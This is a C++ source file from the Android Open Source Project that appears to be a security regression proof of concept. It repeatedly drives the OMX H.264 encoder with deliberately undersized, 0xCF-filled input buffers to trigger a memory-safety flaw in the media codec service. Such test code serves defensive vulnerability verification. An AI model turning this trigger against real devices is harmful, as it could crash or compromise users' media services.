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140 lines
4.3 KiB
140 lines
4.3 KiB
/**
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* Copyright (C) 2020 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#include "stdlib.h"
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#include "../includes/common.h"
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//This PoC is only for 32-bit builds.
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#if _32_BIT
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#include "../includes/omxUtils.h"
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#include <unistd.h>
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#include <hidlmemory/mapping.h>
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extern bool mUseTreble;
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sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
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void exit_handler(void) {
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omxUtilsFreeNode();
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}
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int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
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int BufferSize) {
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buffers->clear();
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OMX_PARAM_PORTDEFINITIONTYPE def;
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int err = omxUtilsGetParameter(portIndex, &def);
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omxExitOnError(err);
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for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
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Buffer buffer;
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buffer.mFlags = 0;
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bool success;
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auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
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bool s,
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hidl_memory const& m) {
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success = s;
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buffer.mHidlMemory = m;
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});
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omxExitOnError(!transStatus.isOk());
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omxExitOnError(!success);
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buffers->push(buffer);
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}
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return OK;
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}
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void poc() {
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int i;
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Vector < Buffer > inputBuffers;
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Vector < Buffer > outputBuffers;
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status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
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omxExitOnError(err);
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atexit(exit_handler);
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OMX_PARAM_PORTDEFINITIONTYPE def;
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omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
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int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
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int inBufferCnt = def.nBufferCountActual;
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int inBufferSize = inMemSize / inBufferCnt;
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sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
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IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
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omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
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int outMemSize = def.nBufferCountActual * def.nBufferSize;
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int outBufferCnt = def.nBufferCountActual;
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int outBufferSize = outMemSize / outBufferCnt;
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sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
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IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
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allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
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for (i = 0; i < inBufferCnt; ++i) {
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inBufferId[i] = inputBuffers[i].mID;
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sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
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inputBuffers[i].mHidlMemory);
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memset((void *) mem->getPointer(), 0xCF, inBufferSize);
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omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
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}
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allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
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for (i = 0; i < outBufferCnt; ++i) {
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outBufferId[i] = outputBuffers[i].mID;
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omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
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}
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
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for (i = 0; i < inBufferCnt; ++i) {
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OMXBuffer omxBuf(0, inBufferSize);
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omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
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}
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for (i = 0; i < outBufferCnt; ++i) {
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OMXBuffer omxBuf(0, outBufferSize);
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omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
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}
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
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omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
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for (i = 0; i < inBufferCnt; ++i) {
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omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
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}
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for (i = 0; i < outBufferCnt; ++i) {
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omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
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}
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omxUtilsFreeNode();
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return;
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}
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#endif
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int main() {
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//This PoC is only for 32-bit builds.
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#if _32_BIT
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time_t currentTime = start_timer();
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while(timer_active(currentTime)) {
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poc();
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}
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#endif
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return EXIT_SUCCESS;
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}
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